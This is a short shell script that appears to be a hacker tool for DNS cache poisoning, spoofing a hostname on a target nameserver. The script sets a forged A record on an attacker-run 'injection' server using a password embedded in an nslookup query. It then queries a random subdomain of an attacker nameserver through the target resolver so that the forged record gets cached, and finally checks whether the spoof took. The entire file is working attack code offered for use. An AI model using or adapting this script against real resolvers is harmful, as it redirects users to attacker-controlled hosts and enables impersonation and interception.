#!/bin/sh
#
# script to Spoof hostname based on |savage|'s injection and dns

# colors
     F_RESET=""
     F_BLACK=""
     F_GREEN=""
      F_BLUE=""
   F_MAGENTA=""
     F_WHITE=""

     H_BLACK=""
     H_GREEN=""
      H_BLUE=""
   H_MAGENTA=""
     H_WHITE=""

    PASSWORD=senha
  INJ_SERVER=maquina.que.roda.o.injection
  SPOOF_SERVER=maquina.que.da.ns.ao.injection
spaces="                                            "

 draw=$H_BLACK"o"$F_WHITE"O"$H_WHITE"o"$F_RESET
draw2=$H_WHITE"o"$F_WHITE"O"$H_BLACK"o"$F_RESET
if [ $# -ne '3' ]; then
echo "usage: cache <ip> <host> <ns to cache on>"
exit
fi

# setting
info=`echo "oO Setting [$2 IN A $1] Oo"`
n_spaces=`expr length "$info"`
n_spaces=`expr 40 - \( $n_spaces / 2 \)`
info=$draw' setting '$H_BLACK'['$H_MAGENTA$2' '$F_MAGENTA'A '$H_MAGENTA$1$H_BLACK'] '$draw2
echo "`expr substr \"$spaces\" 1 $n_spaces`$info"

nslookup @$PASSWORD@$1@$2. $INJ_SERVER > /dev/null 2> /dev/null

# injection
info=`echo "oOo Injection [$SPOOF_SERVER > $3] oOo"`
n_spaces=`expr length "$info"`
n_spaces=`expr 40 - \( $n_spaces / 2 \)`
info=$draw' injecting '$H_BLACK'['$H_GREEN$SPOOF_SERVER' '$F_GREEN'on '$H_GREEN$3$H_BLACK'] '$draw2
echo "`expr substr \"$spaces\" 1 $n_spaces`$info"

nslookup $RANDOM.$SPOOF_SERVER $3 > /dev/null 2> /dev/null

# testing
server=`nslookup $1 $3 2>/dev/null | grep Name | cut -d ":" -f2`
server=`echo $server`

info=`echo "oOo Testing $1 is $server oOo"`
n_spaces=`expr length "$info"`
n_spaces=`expr 40 - \( $n_spaces / 2 \)`
info=$draw' testing '$H_BLACK'['$H_BLUE$1' '$F_BLUE'is '$H_BLUE$server$H_BLACK'] '$draw2
echo "`expr substr \"$spaces\" 1 $n_spaces`$info"

